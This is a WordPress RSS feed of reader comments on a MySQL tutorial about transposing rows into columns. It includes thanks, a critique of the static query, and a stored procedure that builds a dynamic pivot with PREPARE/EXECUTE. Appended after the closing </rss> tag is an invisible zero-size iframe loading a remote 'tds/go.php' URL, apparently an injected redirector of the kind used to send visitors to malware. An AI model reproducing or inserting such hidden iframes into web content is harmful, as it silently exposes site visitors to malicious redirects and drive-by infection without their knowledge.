<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: MySQL Transpose Row Into Column</title>
	<atom:link href="http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Thu, 02 Feb 2012 12:16:36 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>By: Yudhi Karunia Surtan</title>
		<link>http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/comment-page-1/#comment-2191</link>
		<dc:creator>Yudhi Karunia Surtan</dc:creator>
		<pubDate>Wed, 06 Jul 2011 14:06:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/#comment-2191</guid>
		<description>Thanks for this article.

Tukeran back link yah :D</description>
		<content:encoded><![CDATA[<p>Thanks for this article.</p>
<p>Tukeran back link yah :D</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: patrick paul rah</title>
		<link>http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/comment-page-1/#comment-1827</link>
		<dc:creator>patrick paul rah</dc:creator>
		<pubDate>Thu, 19 May 2011 12:19:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/#comment-1827</guid>
		<description>thank you its really helpful for me and saved my life thank you once more and god bless you for all your needs in your life

T/R
patrick</description>
		<content:encoded><![CDATA[<p>thank you its really helpful for me and saved my life thank you once more and god bless you for all your needs in your life</p>
<p>T/R<br />
patrick</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: thiyagi</title>
		<link>http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/comment-page-1/#comment-1440</link>
		<dc:creator>thiyagi</dc:creator>
		<pubDate>Mon, 21 Feb 2011 21:26:29 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/#comment-1440</guid>
		<description>thanks guys...</description>
		<content:encoded><![CDATA[<p>thanks guys&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: thiyagi</title>
		<link>http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/comment-page-1/#comment-1394</link>
		<dc:creator>thiyagi</dc:creator>
		<pubDate>Fri, 11 Feb 2011 18:12:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/#comment-1394</guid>
		<description>thanks guys, that was really useful..</description>
		<content:encoded><![CDATA[<p>thanks guys, that was really useful..</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: lista de tabla en horizontal - Foros de CHW</title>
		<link>http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/comment-page-1/#comment-1374</link>
		<dc:creator>lista de tabla en horizontal - Foros de CHW</dc:creator>
		<pubDate>Tue, 08 Feb 2011 20:04:34 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/#comment-1374</guid>
		<description>[...] que va creando los campos a mostrar pero siempre tomando algo fijo (ver al final del link).   Link: MySQL Transpose Row Into Column &#124; dijexi.com  [...]</description>
		<content:encoded><![CDATA[<p>[...] que va creando los campos a mostrar pero siempre tomando algo fijo (ver al final del link).   Link: MySQL Transpose Row Into Column | dijexi.com  [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Stas Zh</title>
		<link>http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/comment-page-1/#comment-492</link>
		<dc:creator>Stas Zh</dc:creator>
		<pubDate>Tue, 17 Nov 2009 16:06:13 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/#comment-492</guid>
		<description>had the same issue but with date - transposing date column into rows

we will create dynamic sql request (with lets say last ten days), and then loop through those days adding new column.

DELIMITER $$

DROP PROCEDURE IF EXISTS `a`.`days`$$
CREATE PROCEDURE `a`.`days` ()
BEGIN

DECLARE l_sql VARCHAR(4000);
DECLARE l_date VARCHAR(10);

# select for dates (2009-11-01, 2009-11-02, etc)
DECLARE cur1 CURSOR FOR
  SELECT DISTINCT(d.name) as `date`
  FROM `date` d
  LIMIT 10;

OPEN cur1;
#start your query
SET l_sql=&quot;SELECT kn.name &quot;;
BEGIN
  DECLARE EXIT HANDLER FOR NOT FOUND BEGIN END;
  LOOP
    FETCH cur1 INTO l_date;
# dynamic add to l_sql as many times as many dates you have in cur1
    SET l_sql=CONCAT(l_sql,&quot;, SUM(IF(d.name=&#039;&quot;,l_date,&quot;&#039;,value,0)) AS &#039;&quot;,l_date,&quot;&#039; &quot;);
  END LOOP;
END;

CLOSE cur1;

#finish l_sql
SET l_sql=CONCAT(l_sql,&quot; FROM samples  GROUP BY something_id&quot;);

#uncomment to see generated query
#SELECT l_sql;

#now prepare query and execute
SET @sql=l_sql;
PREPARE s1 FROM @sql;
EXECUTE s1;
DEALLOCATE PREPARE s1;

END;
$$
DELIMITER</description>
		<content:encoded><![CDATA[<p>had the same issue but with date &#8211; transposing date column into rows</p>
<p>we will create dynamic sql request (with lets say last ten days), and then loop through those days adding new column.</p>
<p>DELIMITER $$</p>
<p>DROP PROCEDURE IF EXISTS `a`.`days`$$<br />
CREATE PROCEDURE `a`.`days` ()<br />
BEGIN</p>
<p>DECLARE l_sql VARCHAR(4000);<br />
DECLARE l_date VARCHAR(10);</p>
<p># select for dates (2009-11-01, 2009-11-02, etc)<br />
DECLARE cur1 CURSOR FOR<br />
  SELECT DISTINCT(d.name) as `date`<br />
  FROM `date` d<br />
  LIMIT 10;</p>
<p>OPEN cur1;<br />
#start your query<br />
SET l_sql=&#8221;SELECT kn.name &#8220;;<br />
BEGIN<br />
  DECLARE EXIT HANDLER FOR NOT FOUND BEGIN END;<br />
  LOOP<br />
    FETCH cur1 INTO l_date;<br />
# dynamic add to l_sql as many times as many dates you have in cur1<br />
    SET l_sql=CONCAT(l_sql,&#8221;, SUM(IF(d.name=&#8217;&#8221;,l_date,&#8221;&#8216;,value,0)) AS &#8216;&#8221;,l_date,&#8221;&#8216; &#8220;);<br />
  END LOOP;<br />
END;</p>
<p>CLOSE cur1;</p>
<p>#finish l_sql<br />
SET l_sql=CONCAT(l_sql,&#8221; FROM samples  GROUP BY something_id&#8221;);</p>
<p>#uncomment to see generated query<br />
#SELECT l_sql;</p>
<p>#now prepare query and execute<br />
SET @sql=l_sql;<br />
PREPARE s1 FROM @sql;<br />
EXECUTE s1;<br />
DEALLOCATE PREPARE s1;</p>
<p>END;<br />
$$<br />
DELIMITER</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: hans dingerdis</title>
		<link>http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/comment-page-1/#comment-188</link>
		<dc:creator>hans dingerdis</dc:creator>
		<pubDate>Fri, 14 Aug 2009 12:12:50 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/#comment-188</guid>
		<description>This is a very static query which will only work if you always have a fixed retail_id. Anytime you have a new one you need to change it. Next if retail_id was not a retail but e.g. a date it is even unusable.</description>
		<content:encoded><![CDATA[<p>This is a very static query which will only work if you always have a fixed retail_id. Anytime you have a new one you need to change it. Next if retail_id was not a retail but e.g. a date it is even unusable.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Luqman</title>
		<link>http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/comment-page-1/#comment-29</link>
		<dc:creator>Luqman</dc:creator>
		<pubDate>Fri, 10 Jul 2009 07:49:39 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/#comment-29</guid>
		<description>Nice query pak.
Siiip...</description>
		<content:encoded><![CDATA[<p>Nice query pak.<br />
Siiip&#8230;</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
